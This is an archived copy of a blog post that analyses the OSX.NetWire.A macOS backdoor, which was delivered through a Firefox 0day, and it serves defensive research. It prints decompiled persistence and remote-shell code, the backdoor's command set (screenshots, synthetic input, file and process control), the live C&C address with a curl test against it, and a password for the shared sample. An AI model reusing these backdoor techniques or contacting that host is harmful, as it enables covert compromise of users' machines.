{
	"id": "719940e3-c1bf-4000-be7b-68141b50b431",
	"created_at": "2026-04-06T00:13:29.650246Z",
	"updated_at": "2026-04-10T03:30:33.457109Z",
	"deleted_at": null,
	"sha1_hash": "1f104626a07446c5e1dcd918603b1e3b241eac8d",
	"title": "Burned by Fire(fox)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1145197,
	"plain_text": "Burned by Fire(fox)\r\nArchived: 2026-04-05 13:44:54 UTC\r\nBurned by Fire(fox)\r\npart ii: a firefox 0day drops a macOS backdoor (osx.netwire.a)\r\nJune 20, 2019\r\nOur research, tools, and writing, are supported by \"Friends of Objective-See\"\r\nToday’s blog post is brought to you by:\r\n📝 👾 Want to play along?\r\nI’ve shared the OSX.NetWire.A sample (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nRecently, a Firefox 0day exploit was used to target employees at various crypto-currency exchanges. I personally\r\nreceived an email from a targeted user, which included details of the attack, as well as a copy of the persistent\r\nmalware the exploit installed on the system.\r\nA security researcher at Coinbase, Philip Martin, has also been posting interesting details about the attack.\r\nI’m thankful to both the user who reached out to me, and for the details Philip shared!\r\nIn part one of this blog post series, we discussed the attack and identified the malware as OSX.Netwire.A .\r\nMorever, we discussed the malware’s methods of peristence (launch agent and login item):\r\n$ cat ~/Library/LaunchAgents/com.mac.host.plist\r\n{\r\n KeepAlive = 0;\r\n Label = \"com.mac.host\";\r\n ProgramArguments = (\r\n \"/Users/user/.defaults/Finder.app/Contents/MacOS/Finder\"\r\n );\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 1 of 18\n\nRunAtLoad = 1;\r\n}\r\nAs the malware’s launch agent ( com.mac.host.plist ) has the RunAtLoad is set (to 1 ), the OS will\r\nautomatically launch the specified binary, .defaults/Finder.app/Contents/MacOS/Finder each time the user\r\nlogs in.\r\nThe malware’s login item will also ensure the malware is launched when the user logs in. Login items however\r\nshow up in the UI, clearly detracting from the malware’s stealth:\r\nIn today’s blog we’re going to take a technical “deep-dive” into the malicious binary and discuss its:\r\ninstallation logic\r\ndecryption of its hidden “settings” file\r\ndecryption of its embedded C\u0026C server address\r\nremotely taskable capabilities and features (screenshots, synthetic events, and more!)\r\nAnalyzing OSX.NetWire.A\r\nThe specimen of OSX.NetWire.A we’re looking at today is named Finder.app :\r\nMD5: DE3A8B1E149312DAC5B8584A33C3F3C6\r\nSHA1: 23017A55B3D25A2597B7148214FD8FB2372591A5\r\nSHA256: 07A4E04EE8B4C8DC0F7507F56DC24DB00537D4637AFEE43DBB9357D4D54F6FF4\r\nWe’ll use Hopper to reverse the malware’s binary, and lldb to debug it (in a VM!).\r\nThe malware is a standard macOS application, albeit with compatibly for rather ancient versions of OSX ! For\r\nexample it contains only 32-bit code, and according to MachOView and can run on versions of OSX all the way\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 2 of 18\n\nback to OSX 10.5 :\r\nWe can also note from the MachOView’s output, there aren’t any Objective-C sections ( __objc* ), meaning the\r\nmalware was not written in Objective-C. (This is rather rare, and usually indicates the malware author is not a\r\nnative Mac programmer; perhaps more comfortable coding on Windows of Linux).\r\nThe class-dump utility confirms this as well (note it outputs: This file does not contain any Objective-C\r\nruntime information. ):\r\n$ class-dump Finder.app/Contents/MacOS/Finder\r\n//\r\n// Generated by class-dump 3.5 (64 bit).\r\n//\r\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.\r\n//\r\n//\r\n// File: Finder.app/Contents/MacOS/Finder\r\n// UUID: 8C8AC65D-8F7C-368A-AD5A-E7FD9D58E63C\r\n//\r\n// Arch: i386\r\n// Minimum Mac OS X version: 10.5.0\r\n// SDK version: 10.12.0\r\n//\r\n// This file does not contain any Objective-C runtime information.\r\n//\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 3 of 18\n\nWhen analyzing a piece of malware, it’s always a good idea to dump any embedded strings (as this often gives\nyou valuable insight in the functionality and capabilities of the malware). Using the built-in strings utility (with\nthe -a flag) we can extract all printable (ascii) strings from a binary:\n$ strings -a Finder.app/Contents/MacOS/Finder\nCONNECT %s:%d HTTP/1.0\nHost: %s:%d\nexit\n/bin/sh\n/bin/bash\ncheckip.dyndns.org\nGET / HTTP/1.1\nHost: checkip.dyndns.org\nCurrent IP Address:\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.8\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\nUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\n\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\"\u003e\nLabel%sProgramArguments%sRunAtLoadKeepAlive \u003c%s/\u003e\n%s/Library/LaunchAgents/\n%s%s.plist\n.settings.conf\nhyd7u5jdi8\n/tmp/.%s\nhttps://objective-see.com/blog/blog_0x44.html\nPage 4 of 18\n\nClearly some interesting strings, which immediately reveal insight to the malware capabilities (such as\r\nnetworking, persistence, and more!). Unfortunately this doesn’t reveal information such as the path of the\r\nmalware’s installation directory (a valuable IOC), nor the address of the command \u0026 control server. To be fair,\r\nthis is unsurprising as malware authors often encrypt such information to hinder analysis. To uncover these, we’ll\r\nhave to dig deeper!\r\nThe entry point of the malware can be found in the LC_UNIXTHREAD load command, specifically in the EIP\r\nregister. Using otool we can dump this command and extract the address ( 0x0000196c ):\r\n$ otool -l Finder.app/Contents/MacOS/Finder\r\n...\r\nLoad command 9\r\n cmd LC_UNIXTHREAD\r\n cmdsize 80\r\n flavor i386_THREAD_STATE\r\n count i386_THREAD_STATE_COUNT\r\n eax 0x00000000 ebx 0x00000000 ecx 0x00000000 edx 0x00000000\r\n edi 0x00000000 esi 0x00000000 ebp 0x00000000 esp 0x00000000\r\n ss 0x00000000 eflags 0x00000000 eip 0x0000196c cs 0x00000000\r\n ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000\r\nHopping into a disassembler, the code at 0x0000196c contains the standard entry-point logic for the C-runtime:\r\n 1int EntryPoint() {\r\n 2 ebx = *(\u0026stack[-4] + 0x4);\r\n 3 ebx = (ebx + 0x1 \u003c\u003c 0x2) + \u0026stack[-4] + 0x8;\r\n 4 do {\r\n 5 eax = *ebx;\r\n 6 ebx = ebx + 0x4;\r\n 7 } while (eax != 0x0);\r\n 8 eax = main();\r\n 9 eax = exit(eax);\r\n10 return eax;\r\n11}\r\nNote the call to the malware’s main function (line 8). We’ll continue analysis there.\r\nThe malware main function ( 0x00006b17 ) begins by decrypting various embedded data.\r\nint main() {\r\n ...\r\n edx = *dword_e700;\r\n edi = *dword_e6f0;\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 5 of 18\n\nesi = edi \u003c\u003c 0xb ^ edi;\r\n edi = *dword_e6fc;\r\n ebx = *dword_e6f4;\r\n *dword_e6f4 = edi;\r\n ecx = eax \u0026 edx ^ edi \u003e\u003e 0x13 ^ esi ^ edi ^ esi \u003e\u003e 0x8 ^ *dword_e704;\r\n *dword_e704 = ecx;\r\n *dword_e6f0 = *dword_e6f8;\r\n *dword_e6f8 = edi \u003e\u003e 0x13 ^ esi ^ edi ^ esi \u003e\u003e 0x8;\r\n *dword_e6fc = (ebx \u003c\u003c 0xb ^ ebx) \u003e\u003e 0x8 ^ ebx \u003c\u003c 0xb ...) \u003e\u003e 0x13;\r\n *dword_e700 = (ebx \u003c\u003c 0xb ^ ebx) \u003e\u003e 0x8 ^ ebx \u003c\u003c 0xb ...) \u003e\u003e 0x13 ^ edx ^ (ecx | eax);\r\n ecx = 0x1;\r\n eax = 0x0;\r\n do {\r\n ebx = ecx \u0026 0xff;\r\n *(int8_t *)(esp + ebx + 0x1898) = eax;\r\n esi = eax;\r\n *(int8_t *)(esp + eax + 0x5898) = ecx;\r\n ecx = 0x0;\r\n do {\r\n eax = ebx + ebx;\r\n ecx = ecx ^ HIBYTE(HIBYTE(ebx) \u0026 -(ebx \u0026 0x1));\r\n edx = (HIBYTE(ebx) \u0026 -(ebx \u0026 0x1)) \u003e\u003e 0x1;\r\n ebx = eax ^ 0x11b;\r\n if ((HIBYTE(eax) \u0026 0x1) == 0x0) {\r\n ebx = eax;\r\n }\r\n } while (edx != 0x0);\r\n eax = esi + 0x1;\r\n } while (eax != 0xff);\r\n}\r\nThis encrypted data is found near the start of the __data section (address 0x0000D2F0 on disk, 0x0000E2F0 in\r\nmemory):\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 6 of 18\n\nGenerally speaking, it’s easiest to set a breakpoint (in a debugger) after the decryption logic and then simply dump\r\nthe decrypted data. This is trivial to do in lldb . (We choose to set a breakpoint on address 0x00007658 , which\r\nfollows the decryption logic)\r\n$ lldb Finder.app\r\n(lldb) process launch --stop-at-entry\r\n(lldb) b 0x00007658\r\nBreakpoint 1: where = Finder`Finder[0x00007658], address = 0x00007658\r\n(lldb) c\r\nProcess 1130 resuming\r\nProcess 1130 stopped (stop reason = breakpoint 1.1)\r\n(lldb) x/100xs 0x0000e2f0 --force\r\n0x0000e2f0: \"\"\r\n...\r\n0x0000e2f8: \"89.34.111.113:443;\"\r\n0x0000e4f8: \"Password\"\r\n0x0000e52a: \"HostId-%Rand%\"\r\n0x0000e53b: \"Default Group\"\r\n0x0000e549: \"NC\"\r\n0x0000e54c: \"-\"\r\n0x0000e555: \"%home%/.defaults/Finder\"\r\n0x0000e5d6: \"com.mac.host\"\r\n0x0000e607: \"{0Q44F73L-1XD5-6N1H-53K4-I28DQ30QB8Q1}\"\r\n...\r\nClearly some interesting (now decrypted!) strings including what appear to be:\r\ncommand and control server: 89.34.111.113 (port: 443 )\r\nformat string for uniquely identifying the host: HostId-%Rand%\r\nformat string for the malware’s installation location: %home%/.defaults/Finder\r\nname of the malware’s launch agent: com.mac.host\r\nContinuing onwards, the malware persistently installs itself by copying its application bundle to the\r\n~/.defaults/Finder.app directory. This is accomplished by the function at address 0x000034de , which first\r\nopens (via open$UNIX2003 ) a file handle to the malware’s own binary image:\r\n(lldb) c\r\nProcess stopped\r\n-\u003e 0x3501: calll 0xc930 ; symbol stub for: open$UNIX2003\r\n(lldb) x/x $esp\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 7 of 18\n\n0xbfff8190: 0xbfff95f0\r\n(lldb) x/s 0xbfff95f0\r\n0xbfff95f0: \"/Users/user/Desktop/Wirenet (NetWeirdRC)/A/Finder.app/Contents/MacOS/Finder\"\r\n...\r\n…and then copies itself to the ~/.defaults/ directory via a read$UNIX2003 / write$UNIX2003 loop:\r\nloc_3568:\r\n do {\r\n if (ebx != 0x0) {\r\n memset(ebp, 0x0, ebx);\r\n esp = (esp - 0x10) + 0x10;\r\n }\r\n esp = (esp - 0x10) + 0x10;\r\n esi = read$UNIX2003(edi, ebp, ebx);\r\n if (esi \u003c= 0x0) {\r\n break;\r\n }\r\n esp = (esp - 0x10) + 0x10;\r\n } while (write$UNIX2003(var_20, ebp, esi) == esi);\r\nCopying a file in this manner (i.e. a read/write loop) is a rather traditional C/linux approach.\r\nUsing Cocoa APIs, this entire function could have been replaced with a single line of code: [[NSFileManager\r\ndefaultManager] copyItemAtPath:source toPath:destination error:nil];\r\nTo passively observe the malware installing itself we can use macOS’s built-in file monitor utility: fs_usage :\r\n# fs_usage -w -f filesystem | grep Finder\r\nmkdir /Users/user/.defaults Finder.7868\r\nmkdir /Users/user/.defaults/Finder.app/ Finder.7868\r\nmkdir /Users/user/.defaults/Finder.app/Contents Finder.7868\r\nmkdir /Users/user/.defaults/Finder.app/Contents/MacOS Finder.7868\r\nWrData[A] /Users/user/.defaults/Finder.app/Contents/Info.plist Finder.7868\r\nWrData[A] /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868\r\nchmod \u003crwxrwxrwx\u003e /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868\r\nAfter installing itself the malware spawns this installed copy\r\n( ~/.defaults/Finder.app/Contents/MacOS/Finder ), then exits.\r\nWe can observe the launch of the installed copy via our open-source ProcInfo utility:\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 8 of 18\n\n# procInfo\r\nprocess monitor enabled...\r\nprocess start:\r\npid: 865\r\npath: /Users/user/.defaults/Finder.app/Contents/MacOS/Finder\r\nThe installed copy of the malware first persists itself. As we noted early in the post, and in part one, persistence is\r\nachieved as a launch agent ( ~/Library/LaunchAgents/com.mac.host.plist ) and a login item.\r\nThe code for persisting the malware as a launch agent can be found at 0x000079f3 :\r\nmemcpy(esi, \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\\n\u003c!DOCTYPE plist PUBLIC \\\"-//Apple Computer//DTD PLIST\r\neax = getenv(\"HOME\");\r\neax = __snprintf_chk(\u0026decodeBuffer, 0x400, 0x0, 0x400, \"%s/Library/LaunchAgents/\", eax);\r\n \r\nif (mkdir_forAgent() != 0x0) {\r\n eax = __snprintf_chk(edi, 0x400, 0x0, 0x400, \"%s%s.plist\", \u0026decodeBuffer, 0xe5d6);\r\n eax = asprintf(\u0026var_688C, esi);\r\n \r\n edi = open$UNIX2003(edi, 0x601);\r\n if (edi \u003e= 0x0) {\r\n write$UNIX2003(edi, var_688C, ebx);\r\n esp = (esp - 0x10) + 0x10;\r\n closeDynamically();\r\n }\r\nIn short, it configures then writes out an embedded plist to ~/Library/LaunchAgents/com.mac.host.plist .\r\nRecall the name of the plist, com.mac.host.plist was decrypted when the malware was launched.\r\nThe code for persisting as a login item immediately follows. It utilizes the LSSharedFileListCreate and\r\nLSSharedFileListInsertItemURL APIs to add the malware to the user’s list of login items:\r\neax = __snprintf_chk(\u0026decodeBuffer, 0x400, 0x0, 0x400, \"%s%s.app\", \u0026var_748C, \u0026var_788C);\r\neax = CFURLCreateFromFileSystemRepresentation(0x0, \u0026decodeBuffer, eax, 0x1);\r\nif (eax != 0x0) {\r\n eax = LSSharedFileListCreate(0x0, **_kLSSharedFileListSessionLoginItems, 0x0);\r\n if (eax != 0x0) {\r\n eax = LSSharedFileListInsertItemURL(eax, **_kLSSharedFileListItemLast, 0x0, 0x0, edi, 0x0, 0x0);\r\n }\r\n}\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 9 of 18\n\nOnce the installed malware has persisted itself (in two different ways), it parses (or creates, if not present), the\r\n.settings.conf . This file contains 0x7F bytes of encrypted data, that’s save’d into the malware’s application\r\nbundle:\r\n$ hexdump -C ~/.defaults/Finder.app/Contents/MacOS/.settings.conf\r\n00000000 4d b8 e4 95 77 1e a5 8a 25 a9 f8 9b af 73 30 e4 |M...w...%....s0.|\r\n00000010 6e 6f 1d d8 da e9 36 a9 f2 76 ab 25 db e7 65 79 |no....6..v.%..ey|\r\n00000020 95 0d 01 c9 fe 3e 2b 5d 51 c8 05 d5 0d 5d 66 14 |.....\u003e+]Q....]f.|\r\n00000030 fb 59 56 bd ed 74 ea 2b fe 31 35 c0 54 70 65 f2 |.YV..t.+.15.Tpe.|\r\n00000040 16 16 10 8b cb 87 93 99 6b 4a cb 91 19 f0 7b f3 |........kJ....{.|\r\n00000050 e3 32 2b ad 11 d8 70 3c 01 aa 1d c8 89 2b b8 0c |.2+...p\u003c.....+..|\r\n00000060 09 0e 62 ca 9a b8 5e 30 ad 65 82 b0 57 65 a1 a6 |..b...^0.e..We..|\r\n00000070 89 d6 b2 d6 a8 d8 03 fd 23 8e 1e 4b 09 59 b6 |........#..K.Y.|\r\n0000007f\r\n…. but again, we can simply use a debugger to decrypt! We just have to find where to set a breakpoint, after the\r\ndata has been decrypted.\r\nAt 0x00007dbf the malware invokes the open$UNIX2003 API to open the .settings.conf file and then at\r\n0x00007e82 , reads in the entire contents (size: 0x7f ). Two decryption functions are invoked: sub_9487 and\r\nsub_950 .\r\nHere’s a snippet from the sub_950 function:\r\ndo {\r\n edx = edx + 0x1 \u0026 0xff;\r\n eax = *(int8_t *)(esp + edx + 0x8) \u0026 0xff;\r\n ebx = ebx + eax \u0026 0xff;\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 10 of 18\n\necx = *(int8_t *)(esp + ebx + 0x8);\r\n *(int8_t *)(esp + edx + 0x8) = ecx;\r\n *(int8_t *)(esp + ebx + 0x8) = eax;\r\n *(int8_t *)edi = *(int8_t *)edi ^ *(int8_t *)(esp + (ecx + eax \u0026 0xff) + 0x8);\r\n edi = edi + 0x1;\r\n esi = esi - 0x1;\r\n} while (esi != 0x0);\r\nIn reality though, we don’t really care how the data is decrypted. We can simply set a breakpoint after the call to\r\nthe 2nd decryption function, and dump the (now) decrypted data:\r\n$ lldb Finder.app\r\n...\r\n(lldb) c\r\nProcess stopped (stop reason = breakpoint 1.1)\r\n frame #0: 0x00007ec0 Finder\r\n-\u003e 0x7ec0: addl $0x10, %esp\r\n(lldb) x/0x7fx 0x0002eb8c\r\n0x0002eb8c: 0x48 0x6f 0x73 0x74 0x49 0x64 0x2d 0x65\r\n0x0002eb94: 0x79 0x6d 0x38 0x49 0x67 0x00 0x00 0x00\r\n0x0002eb9c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002eba4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ebac: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ebb4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ebbc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ebc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ebcc: 0x44 0x65 0x66 0x61 0x75 0x6c 0x74 0x20\r\n0x0002ebd4: 0x47 0x72 0x6f 0x75 0x70 0x00 0x00 0x00\r\n0x0002ebdc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ebe4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x32\r\n0x0002ebec: 0x30 0x31 0x39 0x2f 0x30 0x36 0x2f 0x32\r\n0x0002ebf4: 0x32 0x20 0x30 0x36 0x3a 0x32 0x33 0x3a\r\n0x0002ebfc: 0x32 0x35 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x0002ec04: 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n(lldb) x/100s 0x0002eb8c\r\n0x0002eb8c: \"HostId-eym8Ig\"\r\n0x0002ebcc: \"Default Group\"\r\n0x0002ebeb: \"2019/06/22 06:23:25\"\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 11 of 18\n\nLovely! We now can see exactly what’s stored in the malware’s encrypted .settings.conf file:\r\nthe infected host’s unique ID\r\nthe infected host’s group (groups allow an attacker organize hosts, perhaps based on companies, etc.)\r\nwhat appears to be a “time of infection” timestamp (that is generated when the malware first runs).\r\nNext the malware connects to its command \u0026 control server for tasking. Recall we previously uncoverd what\r\nappeared to be the decrypted IP address and port of this server: \"89.34.111.113:443;\" (found at address:\r\n0x0000e2f8 ).\r\nAt 0x1f30 the malware invokes the gethostbyname API. By setting a breakpoint on this call we can confirm\r\nthat 89.34.111.113 is indeed the c\u0026c address:\r\n$ lldb Finder.app\r\n(lldb) b gethostbyname\r\nBreakpoint 1: where = libsystem_info.dylib`gethostbyname\r\n(lldb) c\r\nProcess stopped (stop reason = breakpoint 1.1)\r\n frame #0: 0xa7bd3540 libsystem_info.dylib`gethostbyname\r\n-\u003e 0xa7bd3540 \u003c+0\u003e: pushl %ebp\r\n(lldb) x/wx $esp+4\r\n0xbfff79c0: 0x00112240\r\n(lldb) x/s 0x00112240\r\n0x00112240: \"89.34.111.113\"\r\nThe gethostbyname function takes a single argument; a string representing a hostname or ip address.\r\nAs such, when the breakpoint hit, we can print this string by examining the pointer at at $esp+4 (i.e the first\r\nargument).\r\nA connection to the server, 89.34.111.113 is then attempted, on port 443 :\r\nint 0x00009a78 {\r\n ...\r\n edi = socket(0x2, 0x1, 0x6);\r\n esi = 0xffffffff;\r\n if (edi != 0xffffffff) {\r\n esp = (esp - 0x10) + 0x10;\r\n connect$UNIX2003(edi, ebx, 0x10);\r\n ...\r\n}\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 12 of 18\n\nLuLu, our free, open-source firewall can generically detect this connection attempt:\r\nUnfortunately (for our analysis efforts), this connection (now) fails, as apparently the malware’s c\u0026c server is\r\noffline:\r\n$ lsof -i TCP\r\nCOMMAND PID USER TYPE NODE NAME\r\nFinder 843 user IPv4 TCP 192.168.0.128:49259-\u003e89.34.111.113:https (CLOSED)\r\nAttempting to manually connect to the c\u0026c server also fails:\r\n$ curl 89.34.111.113:443\r\ncurl: (7) Failed to connect to 89.34.111.113 port 443: Connection refused\r\nNot to worry, via static code analysis, we can uncover the code and logic within the malware that responds to\r\ntasking from the c\u0026c server. This in turn allows to ascertain the malware’s capabilities that a remote attacker can\r\ninvoke.\r\nAt address 0x000021cb the malware invokes a function that invokes the receive API ( recv$UNIX2003 ).\r\nAssuming (valid) tasking data is received, a function at 0x00004109 is then called to act on said tasking.\r\nBefore this function is invoked, the first byte of data (received from the c\u0026c server), is moved into the dl\r\nregister:\r\nmov dl, byte [esp+ecx+0x78ac+dataFromServer]\r\nIn the 0x00004109 , this (same) byte is used as an index in a switch table:\r\n0x00004125 dec dl\r\n0x00004127 cmp dl, 0x42\r\n0x0000412a ja loc_6a10\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 13 of 18\n\n...\r\n0x00004145 movzx eax, dl\r\n0x00004148 jmp dword [switch_table_d1b0+eax*4]\r\nThis is a fairly common “protocol pattern” in malware, where the first byte received instructs the malware has task\r\nor action to perform. In other words it’s the “command” to execute.\r\nTo uncover the remotely taskable capabilities of the malware, let’s see what functions are referenced in the switch\r\ntable ( 0x0000d1b0 ).\r\nDue to time constraints and the fact that it’s the weekend, we won’t comprehensively discuss all the malware’s\r\n(remote) capabilties.\r\nHowever, we’ll highlight some basics, and some more intriguing ones.\r\nMost fully-featured backdoors (or implants) have logic to perform a survey of an infected host. OSX.NetWire.A is\r\nno different. Via “command” 0x23 ( 35d ) the malware gathers various information about the system on which\r\nis finds itself running. This includes:\r\nuser information (via geteuid , getpwuid , and %USER% )\r\nhost information (via gethostname )\r\ncpu information (via machdep.cpu.brand_string / sysctlnametomib )\r\nsystem version information (via CFCopySystemVersionDictionary )\r\nmalware’s binary image (via getpid / proc_pidpath )\r\nenvironement variables (such as %HOME% via getenv )\r\nsystem architecture (via uname )\r\nmalware’s pid (via getpid )\r\nsystem time information (via localtime )\r\nThis survey information is encoded (encrypted?) and formatted into the following (rather massive) format string:\r\neax = asprintf(\u0026var_1024, \"%s\\x07%d\\x07%s\\x07%s\\x07%s\\x07%llu\\x07%llu\\x07%llu\\x07%c\\x07%s\\x07%s\\x07%s\\x07%s\\\r\nx07%d\\x07%s\\x07%d\\x07%s\\x07%d\\x07%d\\x07%s\\x07%d\\x07%s\\x07%d\\x07%s\\x07%d\\x07\", \u0026var_284C, var_3484, \u0026var_1224, \u0026v\r\n…this is then sent back to the malware’s c\u0026c server.\r\nAs expected the malware can also be remotely tasked to perform various file actions such as rename, make\r\ndirectory, delete etc.\r\nFor example “commamd” 0x1A ( 26d ) will rename a file:\r\n0x00004f37 push ebx\r\n0x00004f38 push edi\r\n0x00004f39 call imp___symbol_stub__rename\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 14 of 18\n\n…while “command” 0x1B ( 27d ) will delete a file via the unlink API:\r\n0x00004f5e sub esp, 0xc\r\n0x00004f61 push esi\r\n0x00004f62 mov edi, ecx\r\n0x00004f64 call imp___symbol_stub__unlink\r\nOther commands appear to be related to the reading, writing, and creating of files:\r\n; case 0x23,\r\n0x0000514e sub esp, 0x4\r\n0x00005151 push ebp\r\n0x00005152 push esi\r\n0x00005153 push dword [dword_eb68]\r\n0x00005159 call imp___symbol_stub__write$UNIX2003\r\nOSX.Netwire.A also can be remotely tasked to interact with proceses(s), for example listing them (“command”\r\n0x42 , 66d ):\r\n; case 0x42,\r\n...\r\npush esi\r\npush edi\r\npush 0x0\r\npush 0x1\r\ncall imp___symbol_stub__proc_listpids\r\n…or killing them (“command” 0x2C , 44d ):\r\n; case 0x2C,\r\n...\r\n0x000056fa push 0x9\r\n0x000056fc push eax\r\n0x000056fd call imp___symbol_stub__kill$UNIX2003\r\nVia “command” 0x19 ( 25d ) the malware will invoke a helper method, 0x0000344c which will fork then\r\nexecv a process:\r\n1eax = fork();\r\n2if (((eax == 0xffffffff ? 0x1 : 0x0) != (eax \u003c= 0x0 ? 0x1 : 0x0)) \u0026\u0026 (eax == 0x0)) {\r\n3 execv(esi, \u0026var_18);\r\n4 eax = exit(0x0);\r\n5}\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 15 of 18\n\nWhen the malware receives “command” 0x22 ( 34d ), it invokes a helper function ( 0x00002652 ) to execute a\r\nshell commands via either /bin/sh or /bin/bash/ :\r\n 1if (stat(\"/bin/sh\", edi) != 0x0) {\r\n 2 ebp = \"/bin/bash\";\r\n 3}\r\n 4else {\r\n 5 ebp = \"/bin/bash\";\r\n 6 if ((var_109C \u0026 0xffff \u0026 0xf000) == 0x8000) {\r\n 7 ebp = \"/bin/sh\";\r\n 8 }\r\n 9}\r\n10\r\n11ebx = posix_openpt(0x2);\r\n12\r\n13dup(var_10B0);\r\n14dup(var_10B0);\r\n15dup(var_10B0);\r\n16\r\n17setsid();\r\n18ioctl(0x0, 0x20007461);\r\n19...\r\n20execvp(ebp, \u0026var_A4);\r\n21\r\n22}\r\nWith the ability to execute arbitrary commands the malware is essentially infinitely extensively and gives a remote\r\nattacker full control over the infected system.\r\nThe malware can also interact with the UI, for example to capture a screen shot. When the malware receives\r\n“command” 0x37 ( 55d ), it invokes the CGMainDisplayID and CGDisplayCreateImage to create an image of\r\nthe user’s desktop:\r\n0x0000622c movss dword [esp+0x34ac+var_101C], xmm0\r\n0x00006235 call imp___symbol_stub__CGMainDisplayID\r\n0x0000623a sub esp, 0xc\r\n0x0000623d push eax\r\n0x0000623e call imp___symbol_stub__CGDisplayCreateImage\r\nInterestingly it also appears that OSX.Netwire.A mayb be remotely tasked to generate synthetic keyboard and\r\nmouse events. Neat!\r\nSpecifically synthetic keyboard events are created and posted when “command” 0x34 ( 52d ) is recieved from\r\nthe c\u0026c server. To create and post the event, the malware invokes the CGEventCreateKeyboardEvent and\r\nCGEventPost APIs.\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 16 of 18\n\nSynthetic mouse events (i.e. clicks, moves, etc) are generated in response to “command” 0x35 ( 53d ):\r\n1void sub_9a29() {\r\n2 edi = CGEventCreateMouseEvent(0x0, edx, ...);\r\n3 CGEventSetType(edi, edx);\r\n4 CGEventPost(0x0, edi);\r\n5 return;\r\n6}\r\nFinally, via “command” 0x7 it appears that the malware can be remotely instructed to uninstall itself. Note the\r\ncalls to unlink to remove the launch agent plist and the malware’s binary image, and the call to\r\nLSSharedFileListItemRemove to remove the login item:\r\n 1__snprintf_chk(\u0026var_284C, 0x400, 0x0, 0x400,\r\n 2 \"%s/Library/LaunchAgents/%s.plist\", getenv(\"HOME\"), 0xe5d6);\r\n 3eax = unlink(\u0026var_284C);\r\n 4\r\n 5if (getPath() != 0x0) {\r\n 6 unlink(esi);\r\n 7}\r\n 8\r\n 9LSSharedFileListItemRemove(var_34A4, esi);\r\n10\r\n11...\r\nConclusion\r\nVia a Firefox 0day, attackers targeted employees of various cryptocurrency exchange(s) in order to persistently\r\ndeploy a macOS binary ( OSX.NetWire.A ).\r\nIn today’s post, we tore apart the malware to reveal (for the first time!), its inner workings and complex\r\ncapabilities.\r\nSpecifically we illustrated how to recover the encrypted address of the command \u0026 control server, how to decrypt\r\nthe malware’s hidden .settings.conf file, and most importantly detailed the many capabilities of this threat!\r\nTo conclude, recall that many of Objective-See’s tools can generically detect and thwart this threat! #winning\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 17 of 18\n\nLove these blog posts?\r\nConsidering supporting us via our patreon page!\r\nSource: https://objective-see.com/blog/blog_0x44.html\r\nhttps://objective-see.com/blog/blog_0x44.html\r\nPage 18 of 18\n\n(lldb) c Process stopped   \n-\u003e 0x3501: calll 0xc930 ; symbol stub for: open$UNIX2003\n(lldb) x/x $esp  \n   Page 7 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x44.html"
	],
	"report_names": [
		"blog_0x44.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434409,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1f104626a07446c5e1dcd918603b1e3b241eac8d.pdf",
		"text": "https://archive.orkl.eu/1f104626a07446c5e1dcd918603b1e3b241eac8d.txt",
		"img": "https://archive.orkl.eu/1f104626a07446c5e1dcd918603b1e3b241eac8d.jpg"
	}
}